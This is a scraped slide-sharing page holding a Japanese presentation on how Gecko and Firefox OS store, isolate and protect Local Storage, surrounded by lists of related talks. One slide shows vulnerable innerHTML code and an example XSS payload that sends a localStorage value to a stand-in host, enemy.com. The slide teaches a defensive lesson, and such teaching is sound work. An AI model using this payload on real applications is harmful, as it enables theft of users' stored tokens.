Submit Search
Upload
GeckoのLocal Storageについて調べてみた
•
4 likes
•
3,284 views
Muneaki Nishimura
Follow
2013年12月19日に開催される「FxOS Gecko勉強会 その2 」の発表資料です。 2014年6月23日、アップデートしました。
Read less
Read more
Technology
Report
Share
Report
Share
1 of 12
Download now
Download to read offline
Recommended
Firefox OS 起動の仕組みを調べてみた
Firefox OS 起動の仕組みを調べてみた
Muneaki Nishimura
モバイルOSとWeb標準とそれらへのアプローチ
モバイルOSとWeb標準とそれらへのアプローチ
Kisato
4th tokushimaapp
4th tokushimaapp
健一 辰濱
docxをmdで書こう
docxをmdで書こう
Yukimitsu Izawa
ドキュメントを加速する作画ツール Blockdiag 2011/07 #infotalk
ドキュメントを加速する作画ツール Blockdiag 2011/07 #infotalk
Takeshi Komiya
Fx OS n2_aoitan_firefox osことはじめ
Fx OS n2_aoitan_firefox osことはじめ
Masami Yabushita
ひとりsphinx
ひとりsphinx
(^-^) togakushi
How to spread reST and Sphinx
How to spread reST and Sphinx
Takanori Suzuki
Recommended
Firefox OS 起動の仕組みを調べてみた
Firefox OS 起動の仕組みを調べてみた
Muneaki Nishimura
モバイルOSとWeb標準とそれらへのアプローチ
モバイルOSとWeb標準とそれらへのアプローチ
Kisato
4th tokushimaapp
4th tokushimaapp
健一 辰濱
docxをmdで書こう
docxをmdで書こう
Yukimitsu Izawa
ドキュメントを加速する作画ツール Blockdiag 2011/07 #infotalk
ドキュメントを加速する作画ツール Blockdiag 2011/07 #infotalk
Takeshi Komiya
Fx OS n2_aoitan_firefox osことはじめ
Fx OS n2_aoitan_firefox osことはじめ
Masami Yabushita
ひとりsphinx
ひとりsphinx
(^-^) togakushi
How to spread reST and Sphinx
How to spread reST and Sphinx
Takanori Suzuki
Sphinx GO!!
Sphinx GO!!
Go Yamada
Cent7@zabbix2.4を試す
Cent7@zabbix2.4を試す
masayoshi shiraishi
Sphinxで社内勉強会(Git)の 資料を作ってみた
Sphinxで社内勉強会(Git)の 資料を作ってみた
Taku SHIMIZU
Sphinxを使って本を書こう #pyconjp 2012
Sphinxを使って本を書こう #pyconjp 2012
Takayuki Shimizukawa
sphinx + blockdiag で始めるドキュメント生活 2011/05 yokohama.pm
sphinx + blockdiag で始めるドキュメント生活 2011/05 yokohama.pm
Takeshi Komiya
BPstudy#64 ドキュメントを作りたくなってしまう魔法のツール Sphinx 2012年版
BPstudy#64 ドキュメントを作りたくなってしまう魔法のツール Sphinx 2012年版
Go Yamada
手軽にメンテナンスできるドキュメントのヒミツ - blockdiag #odstudy 2011/07
手軽にメンテナンスできるドキュメントのヒミツ - blockdiag #odstudy 2011/07
Takeshi Komiya
Sphinxの使い方事例
Sphinxの使い方事例
Go Yamada
個人的ドキュメンテーションツール トップ100
個人的ドキュメンテーションツール トップ100
Go Yamada
Sphinx ではじめるドキュメント生活 2012 #pyconjp #sphinxconjp
Sphinx ではじめるドキュメント生活 2012 #pyconjp #sphinxconjp
Takeshi Komiya
APIドキュメントの話 #sphinxjp
APIドキュメントの話 #sphinxjp
Takeshi Komiya
社内のマニュアルをSphinxで作ってみた
社内のマニュアルをSphinxで作ってみた
Iosif Takakura
ドキュメントの話、しませんか? #428rk01
ドキュメントの話、しませんか? #428rk01
Takeshi Komiya
ドキュメンテーションを加速するストレスフリーの作図ツール『blockdiag』 jus2011年6月勉強会
ドキュメンテーションを加速するストレスフリーの作図ツール『blockdiag』 jus2011年6月勉強会
Takayuki Shimizukawa
Sphinxでまとめる多言語環境APIドキュメント
Sphinxでまとめる多言語環境APIドキュメント
Iosif Takakura
Firefox で快適 WordPress 生活
Firefox で快適 WordPress 生活
dynamis
Bot Framework 最新情報 2017
Bot Framework 最新情報 2017
Yoshitaka Seo
Oktavia全文検索エンジン - SphinxCon JP 2014
Oktavia全文検索エンジン - SphinxCon JP 2014
Yoshiki Shibukawa
JUS関西 Sphinxワークショップ@関西 Sphinx事例紹介
JUS関西 Sphinxワークショップ@関西 Sphinx事例紹介
kk_Ataka
セキュリティ&プログラミングキャンプに行こう!
セキュリティ&プログラミングキャンプに行こう!
Kenta USAMI
コンテキストデータの永続化のための戦略
コンテキストデータの永続化のための戦略
fisuda
HTML5 Local Storageを利用したメモ帳アプリ
HTML5 Local Storageを利用したメモ帳アプリ
Yossy Taka
More Related Content
What's hot
Sphinx GO!!
Sphinx GO!!
Go Yamada
Cent7@zabbix2.4を試す
Cent7@zabbix2.4を試す
masayoshi shiraishi
Sphinxで社内勉強会(Git)の 資料を作ってみた
Sphinxで社内勉強会(Git)の 資料を作ってみた
Taku SHIMIZU
Sphinxを使って本を書こう #pyconjp 2012
Sphinxを使って本を書こう #pyconjp 2012
Takayuki Shimizukawa
sphinx + blockdiag で始めるドキュメント生活 2011/05 yokohama.pm
sphinx + blockdiag で始めるドキュメント生活 2011/05 yokohama.pm
Takeshi Komiya
BPstudy#64 ドキュメントを作りたくなってしまう魔法のツール Sphinx 2012年版
BPstudy#64 ドキュメントを作りたくなってしまう魔法のツール Sphinx 2012年版
Go Yamada
手軽にメンテナンスできるドキュメントのヒミツ - blockdiag #odstudy 2011/07
手軽にメンテナンスできるドキュメントのヒミツ - blockdiag #odstudy 2011/07
Takeshi Komiya
Sphinxの使い方事例
Sphinxの使い方事例
Go Yamada
個人的ドキュメンテーションツール トップ100
個人的ドキュメンテーションツール トップ100
Go Yamada
Sphinx ではじめるドキュメント生活 2012 #pyconjp #sphinxconjp
Sphinx ではじめるドキュメント生活 2012 #pyconjp #sphinxconjp
Takeshi Komiya
APIドキュメントの話 #sphinxjp
APIドキュメントの話 #sphinxjp
Takeshi Komiya
社内のマニュアルをSphinxで作ってみた
社内のマニュアルをSphinxで作ってみた
Iosif Takakura
ドキュメントの話、しませんか? #428rk01
ドキュメントの話、しませんか? #428rk01
Takeshi Komiya
ドキュメンテーションを加速するストレスフリーの作図ツール『blockdiag』 jus2011年6月勉強会
ドキュメンテーションを加速するストレスフリーの作図ツール『blockdiag』 jus2011年6月勉強会
Takayuki Shimizukawa
Sphinxでまとめる多言語環境APIドキュメント
Sphinxでまとめる多言語環境APIドキュメント
Iosif Takakura
Firefox で快適 WordPress 生活
Firefox で快適 WordPress 生活
dynamis
Bot Framework 最新情報 2017
Bot Framework 最新情報 2017
Yoshitaka Seo
Oktavia全文検索エンジン - SphinxCon JP 2014
Oktavia全文検索エンジン - SphinxCon JP 2014
Yoshiki Shibukawa
JUS関西 Sphinxワークショップ@関西 Sphinx事例紹介
JUS関西 Sphinxワークショップ@関西 Sphinx事例紹介
kk_Ataka
セキュリティ&プログラミングキャンプに行こう!
セキュリティ&プログラミングキャンプに行こう!
Kenta USAMI
What's hot
(20)
Sphinx GO!!
Sphinx GO!!
Cent7@zabbix2.4を試す
Cent7@zabbix2.4を試す
Sphinxで社内勉強会(Git)の 資料を作ってみた
Sphinxで社内勉強会(Git)の 資料を作ってみた
Sphinxを使って本を書こう #pyconjp 2012
Sphinxを使って本を書こう #pyconjp 2012
sphinx + blockdiag で始めるドキュメント生活 2011/05 yokohama.pm
sphinx + blockdiag で始めるドキュメント生活 2011/05 yokohama.pm
BPstudy#64 ドキュメントを作りたくなってしまう魔法のツール Sphinx 2012年版
BPstudy#64 ドキュメントを作りたくなってしまう魔法のツール Sphinx 2012年版
手軽にメンテナンスできるドキュメントのヒミツ - blockdiag #odstudy 2011/07
手軽にメンテナンスできるドキュメントのヒミツ - blockdiag #odstudy 2011/07
Sphinxの使い方事例
Sphinxの使い方事例
個人的ドキュメンテーションツール トップ100
個人的ドキュメンテーションツール トップ100
Sphinx ではじめるドキュメント生活 2012 #pyconjp #sphinxconjp
Sphinx ではじめるドキュメント生活 2012 #pyconjp #sphinxconjp
APIドキュメントの話 #sphinxjp
APIドキュメントの話 #sphinxjp
社内のマニュアルをSphinxで作ってみた
社内のマニュアルをSphinxで作ってみた
ドキュメントの話、しませんか? #428rk01
ドキュメントの話、しませんか? #428rk01
ドキュメンテーションを加速するストレスフリーの作図ツール『blockdiag』 jus2011年6月勉強会
ドキュメンテーションを加速するストレスフリーの作図ツール『blockdiag』 jus2011年6月勉強会
Sphinxでまとめる多言語環境APIドキュメント
Sphinxでまとめる多言語環境APIドキュメント
Firefox で快適 WordPress 生活
Firefox で快適 WordPress 生活
Bot Framework 最新情報 2017
Bot Framework 最新情報 2017
Oktavia全文検索エンジン - SphinxCon JP 2014
Oktavia全文検索エンジン - SphinxCon JP 2014
JUS関西 Sphinxワークショップ@関西 Sphinx事例紹介
JUS関西 Sphinxワークショップ@関西 Sphinx事例紹介
セキュリティ&プログラミングキャンプに行こう!
セキュリティ&プログラミングキャンプに行こう!
Similar to GeckoのLocal Storageについて調べてみた
コンテキストデータの永続化のための戦略
コンテキストデータの永続化のための戦略
fisuda
HTML5 Local Storageを利用したメモ帳アプリ
HTML5 Local Storageを利用したメモ帳アプリ
Yossy Taka
Pbox on softlayer
Pbox on softlayer
Shuichi Yukimoto
Firefox と Mozilla のテクノロジー
Firefox と Mozilla のテクノロジー
dynamis
Chromeでストレージ永続化を実現するには
Chromeでストレージ永続化を実現するには
goccy
Firefox 3.1 In Depth (?)
Firefox 3.1 In Depth (?)
dynamis
Firefox OSのアーキテクチャと構成技術
Firefox OSのアーキテクチャと構成技術
Makoto Kato
Firefox OS 勉強会 名古屋2nd 「便利な便利な開発ツール」
Firefox OS 勉強会 名古屋2nd 「便利な便利な開発ツール」
Noritada Shimizu
Client Side Cache
Client Side Cache
Toru Yamaguchi
play framework 勉強会 in 関西
play framework 勉強会 in 関西
Shinichi Kozake
テスト
テスト
Masashi Sato
Silverlightをあれこれ紹介
Silverlightをあれこれ紹介
mizusawa
Iecachedata 20130427
Iecachedata 20130427
彰 村地
Werkzeugを使ってみた #osakapy 2016/04
Werkzeugを使ってみた #osakapy 2016/04
敦志 金谷
【ログ分析勉強会】セッションアクティビティログは使えるのか
【ログ分析勉強会】セッションアクティビティログは使えるのか
Hibino Hisashi
Durable function storage provider
Durable function storage provider
Kazunori Hamamoto
Firefox 学生向けアドオンパック
Firefox 学生向けアドオンパック
Kosei Moriyama
OSC2011Tokyo/Fall OpenStack Swift入門
OSC2011Tokyo/Fall OpenStack Swift入門
irix_jp
Share file業務で使うクラウドストレージ 〜無限に拡がるデータの活用形態〜
Share file業務で使うクラウドストレージ 〜無限に拡がるデータの活用形態〜
Citrix Systems Japan
Flash airでスマートロック!
Flash airでスマートロック!
Takuya Noaki
Similar to GeckoのLocal Storageについて調べてみた
(20)
コンテキストデータの永続化のための戦略
コンテキストデータの永続化のための戦略
HTML5 Local Storageを利用したメモ帳アプリ
HTML5 Local Storageを利用したメモ帳アプリ
Pbox on softlayer
Pbox on softlayer
Firefox と Mozilla のテクノロジー
Firefox と Mozilla のテクノロジー
Chromeでストレージ永続化を実現するには
Chromeでストレージ永続化を実現するには
Firefox 3.1 In Depth (?)
Firefox 3.1 In Depth (?)
Firefox OSのアーキテクチャと構成技術
Firefox OSのアーキテクチャと構成技術
Firefox OS 勉強会 名古屋2nd 「便利な便利な開発ツール」
Firefox OS 勉強会 名古屋2nd 「便利な便利な開発ツール」
Client Side Cache
Client Side Cache
play framework 勉強会 in 関西
play framework 勉強会 in 関西
テスト
テスト
Silverlightをあれこれ紹介
Silverlightをあれこれ紹介
Iecachedata 20130427
Iecachedata 20130427
Werkzeugを使ってみた #osakapy 2016/04
Werkzeugを使ってみた #osakapy 2016/04
【ログ分析勉強会】セッションアクティビティログは使えるのか
【ログ分析勉強会】セッションアクティビティログは使えるのか
Durable function storage provider
Durable function storage provider
Firefox 学生向けアドオンパック
Firefox 学生向けアドオンパック
OSC2011Tokyo/Fall OpenStack Swift入門
OSC2011Tokyo/Fall OpenStack Swift入門
Share file業務で使うクラウドストレージ 〜無限に拡がるデータの活用形態〜
Share file業務で使うクラウドストレージ 〜無限に拡がるデータの活用形態〜
Flash airでスマートロック!
Flash airでスマートロック!
More from Muneaki Nishimura
Find Blue Oceans - Through the Competitive World of Bug Bounty
Find Blue Oceans - Through the Competitive World of Bug Bounty
Muneaki Nishimura
OWASP Testing Guide からはじめよう - セキュリティ診断技術の共有、そして横展開
OWASP Testing Guide からはじめよう - セキュリティ診断技術の共有、そして横展開
Muneaki Nishimura
Firefoxの倒し方
Firefoxの倒し方
Muneaki Nishimura
Webプラットフォームのセキュリティ
Webプラットフォームのセキュリティ
Muneaki Nishimura
Firefoxの日和見暗号がカジュアルに無効化された話
Firefoxの日和見暗号がカジュアルに無効化された話
Muneaki Nishimura
Mozillaの報奨金制度で200万円ほど稼いだ話
Mozillaの報奨金制度で200万円ほど稼いだ話
Muneaki Nishimura
HPKP Supercookies (公開鍵ピンニングによるユーザ追跡)
HPKP Supercookies (公開鍵ピンニングによるユーザ追跡)
Muneaki Nishimura
Mozillaの報奨金制度で100万円ほど稼いだ話
Mozillaの報奨金制度で100万円ほど稼いだ話
Muneaki Nishimura
Future of Web Security Opened up by CSP
Future of Web Security Opened up by CSP
Muneaki Nishimura
Welcome to the Black Hole of Bug Bounty Program Rebooted
Welcome to the Black Hole of Bug Bounty Program Rebooted
Muneaki Nishimura
そろそろ押さえておきたい AngularJSのセキュリティ
そろそろ押さえておきたい AngularJSのセキュリティ
Muneaki Nishimura
Welcome to the Black Hole of Bug Bounty Program
Welcome to the Black Hole of Bug Bounty Program
Muneaki Nishimura
Webアプリ開発者のためのHTML5セキュリティ入門
Webアプリ開発者のためのHTML5セキュリティ入門
Muneaki Nishimura
Firefox OS パッケージ型アプリ インストールの仕組みを調べてみた
Firefox OS パッケージ型アプリ インストールの仕組みを調べてみた
Muneaki Nishimura
More from Muneaki Nishimura
(14)
Find Blue Oceans - Through the Competitive World of Bug Bounty
Find Blue Oceans - Through the Competitive World of Bug Bounty
OWASP Testing Guide からはじめよう - セキュリティ診断技術の共有、そして横展開
OWASP Testing Guide からはじめよう - セキュリティ診断技術の共有、そして横展開
Firefoxの倒し方
Firefoxの倒し方
Webプラットフォームのセキュリティ
Webプラットフォームのセキュリティ
Firefoxの日和見暗号がカジュアルに無効化された話
Firefoxの日和見暗号がカジュアルに無効化された話
Mozillaの報奨金制度で200万円ほど稼いだ話
Mozillaの報奨金制度で200万円ほど稼いだ話
HPKP Supercookies (公開鍵ピンニングによるユーザ追跡)
HPKP Supercookies (公開鍵ピンニングによるユーザ追跡)
Mozillaの報奨金制度で100万円ほど稼いだ話
Mozillaの報奨金制度で100万円ほど稼いだ話
Future of Web Security Opened up by CSP
Future of Web Security Opened up by CSP
Welcome to the Black Hole of Bug Bounty Program Rebooted
Welcome to the Black Hole of Bug Bounty Program Rebooted
そろそろ押さえておきたい AngularJSのセキュリティ
そろそろ押さえておきたい AngularJSのセキュリティ
Welcome to the Black Hole of Bug Bounty Program
Welcome to the Black Hole of Bug Bounty Program
Webアプリ開発者のためのHTML5セキュリティ入門
Webアプリ開発者のためのHTML5セキュリティ入門
Firefox OS パッケージ型アプリ インストールの仕組みを調べてみた
Firefox OS パッケージ型アプリ インストールの仕組みを調べてみた
Recently uploaded
NewSQLの可用性構成パターン(OCHaCafe Season 8 #4 発表資料)
NewSQLの可用性構成パターン(OCHaCafe Season 8 #4 発表資料)
NTT DATA Technology & Innovation
Amazon SES を勉強してみる その22024/04/26の勉強会で発表されたものです。
Amazon SES を勉強してみる その22024/04/26の勉強会で発表されたものです。
iPride Co., Ltd.
LoRaWAN スマート距離検出デバイスDS20L日本語マニュアル
LoRaWAN スマート距離検出デバイスDS20L日本語マニュアル
CRI Japan, Inc.
新人研修 後半 2024/04/26の勉強会で発表されたものです。
新人研修 後半 2024/04/26の勉強会で発表されたものです。
iPride Co., Ltd.
LoRaWANスマート距離検出センサー DS20L カタログ LiDARデバイス
LoRaWANスマート距離検出センサー DS20L カタログ LiDARデバイス
CRI Japan, Inc.
Amazon SES を勉強してみる その32024/04/26の勉強会で発表されたものです。
Amazon SES を勉強してみる その32024/04/26の勉強会で発表されたものです。
iPride Co., Ltd.
業務で生成AIを活用したい人のための生成AI入門講座(社外公開版:キンドリルジャパン社内勉強会:2024年4月発表)
業務で生成AIを活用したい人のための生成AI入門講座(社外公開版:キンドリルジャパン社内勉強会:2024年4月発表)
Hiroshi Tomioka
Recently uploaded
(7)
NewSQLの可用性構成パターン(OCHaCafe Season 8 #4 発表資料)
NewSQLの可用性構成パターン(OCHaCafe Season 8 #4 発表資料)
Amazon SES を勉強してみる その22024/04/26の勉強会で発表されたものです。
Amazon SES を勉強してみる その22024/04/26の勉強会で発表されたものです。
LoRaWAN スマート距離検出デバイスDS20L日本語マニュアル
LoRaWAN スマート距離検出デバイスDS20L日本語マニュアル
新人研修 後半 2024/04/26の勉強会で発表されたものです。
新人研修 後半 2024/04/26の勉強会で発表されたものです。
LoRaWANスマート距離検出センサー DS20L カタログ LiDARデバイス
LoRaWANスマート距離検出センサー DS20L カタログ LiDARデバイス
Amazon SES を勉強してみる その32024/04/26の勉強会で発表されたものです。
Amazon SES を勉強してみる その32024/04/26の勉強会で発表されたものです。
業務で生成AIを活用したい人のための生成AI入門講座(社外公開版:キンドリルジャパン社内勉強会:2024年4月発表)
業務で生成AIを活用したい人のための生成AI入門講座(社外公開版:キンドリルジャパン社内勉強会:2024年4月発表)
GeckoのLocal Storageについて調べてみた
1.
GeckoのLocal Storageについて調べてみた FxOS Gecko勉強会
その2 2013.12.19 @ Mozilla Japan オフィス 2014.06.23 Updated
2.
2 自己紹介 本発表は私の個人的な調査に基づくものです。 内容に誤りがあるかもしれませんがご了承ください 名前 西村 宗晃
(にしむねあ) ・https://www.facebook.com/muneaki.nishimura 職業 セキュリティエンジニア ・セキュア開発のコンサルティング ・Android端末~アプリの開発支援
3.
3 Local Storageとは • HTTPクライアントに永続的なデータを保存する機能 ↔
Session Storage : セッション(ウィンドウが閉じるまで)の間だけ有効なデータを保存 • W3CのWeb Storage仕様の一部 ⁃ 元々はHTML5仕様の一部だったが、現在は独立 • key-value形式によるデータ管理 localStorage.setItem("foo","bar"); var foo = localStorage.getItem("foo"); // foo = "bar"
4.
4 GeckoにおけるLocal Storageの実装① • Local
Storageのデータは1つのSQLiteファイルに保存 ⁃ Firefoxブラウザ (Mac): ~/Library/Application Support/Firefox/Profiles/{profile}/webappsstore.sqlite ⁃ Firefox OS: /data/b2g/mozilla/{profile}/webappsstore.sqlite • webappsstore2テーブルのレコードとして保存 ⁃ 1組のkey-valueデータが1レコードに対応
5.
5 GeckoにおけるLocal Storageの実装② scope key
value secure owner moc.elpmaxe.:http:80 foo bar ※moc.elpmaxeは example.comを逆さにしたもの • scopeにより各オリジンのLocal Storageを分離 ⁃ 同一生成元ポリシー(RFC 6454)に基づくアクセス保護を実現 ⁃ Firefox OSでは、同一生成元ポリシー+サンドボックスによるアクセス保護を実現(次頁) • 例) http://example.com:80/ で foo=bar というデータを保存した場合 ⁃ scopeフィールドにデータのオリジン(スキーム+ホスト名+ポート番号)を保存
6.
6 Firefox OSにおけるLocal Storageの保護① •
Webアプリのサンドボックス ⁃ 端末内のアプリは固有のオリジン(app://)を持つ ⁃ 他のアプリのLocal Storageはアクセスできない • ブラウザAPIのサンドボックス ⁃ <iframe mozbrowser>で開かれたページはアプリと異なるサンドボックスを持つ ⁃ <iframe mozbrowser>のLocal Storageは呼び出し元のアプリから分離される
7.
7 Firefox OSにおけるLocal Storageの保護② •
これらのサンドボックスによるデータの保護はscopeで実現されている ⁃ = アプリID : Browser Contentフラグ(t/f) : ホスト名 : ポート番号 : スキーム アプリA (オリジン=app://hoge・アプリID=1005) アプリA内部のJavaScriptファイル 1005:f:egoh.:app <iframe src="http://example.com:80"> 1005:f:moc.elpmaxe.80:http <iframe src="http://example.com:80/" mozbrowser> 1005:t:moc.elpmaxe.80:http http://example.com:80 scope
8.
8 Local Storage自体のアクセス制御① • 以下の場合はwindow.localStorageの参照が禁止される ⁃
GeckoのWeb Storage機能が無効化されている場合 ⁃ Preferenceの「dom.storage.enabled」が「false」 ⁃ Cookieの使用が無効化されている場合 ⁃ サイト別設定マネージャーの「Cookieデータの保存」が「拒否」 ⁃ Preferenceの「network.cookie.cookieBehavior」が「使用禁止(2)」 ⁃ Preferenceの「network.cookie.lifetimepolicy」が「毎回ユーザーに確認(1)」 ⁃ <iframe>にsandbox属性が適用されている場合 ⁃ ただしallow-same-originトークンが指定されていない場合のみ
9.
9 Local Storage自体のアクセス制御② • 以下の場合はデータがストレージに保存されない(RAMにのみ保存される) ⁃
Cookieがセッションの間のみ有効である場合 ⁃ サイト別設定マネージャーの「Cookieデータの保存」が「セッション中のみ許可」 ⁃ Preferenceの「network.cookie.lifetimepolicy」が「ブラウザ終了時まで保存(2)」 ⁃ プライベートブラウジングモードで閲覧中の場合
10.
10 アプリのLocal StorageとXSS脆弱性① • アプリにXSS脆弱性があるとLocal
Storageのデータは盗み出せてしまう ⁃ CookieのようにJavaScriptからのアクセスを禁止する仕組みが無いため • Firefox OSのアプリにはXSSの保険的対策としてCSPが適用されている ⁃ しかしPrivileged AppのCSPには「unsafe-inline」が指定されているので DOMツリーにJavaScriptコードを出力しても動作してしまう (次頁参照) ⁃ Firefox OS v1.2のPrivileged Appでは「unsafe-inline」が外された模様 ⁃ XSSでLocal Storageを盗み出すのは困難になった
11.
11 アプリのLocal StorageとXSS脆弱性② • 以下のようなコードがあるとLocal
Storageのデータを盗まれてしまう var req = new XMLHttpRequest({mozSystem: true}); req.open('GET', destination, true); req.onreadystatechange = function(e) { var contact = JSON.parse(req.responseText); document.getElementById("email").innerHTML = contact.email; }; req.send(null); {"email":"<img src='d.png' onerror='document.location.href=¥"http://enemy.com? token=¥"+localStorage.getItem(¥"key¥");'>"} 脆弱なアプリのJavaScriptコード例 サーバがアプリに送るJSONデータ(攻撃コード)
12.
12 宣伝:本を書きました「狐物語」 タイトル 狐物語 ページ数 68ページ 価格
1,000円(イベント頒布価格) 表紙 イラスト しのめり / @shino_merry デザイン siosio 目次 第一話 がいあハックス @bathtimefish 第二話 あぷりサポート @cattaka_net 第三話 すまほツイリオ @junkpot1212 第四話 もじらスライス にしむねあ 第五話 かえんワールド @meco300 URL http://techbooster-c85.appspot.com/#foxtory C85 3日目 西す24a TechBoosterにて発売
Download now